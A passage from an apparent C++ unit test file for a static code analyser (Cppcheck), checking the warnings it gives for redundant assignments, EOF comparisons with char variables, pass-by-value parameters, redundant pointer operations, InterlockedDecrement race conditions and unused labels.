[redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n 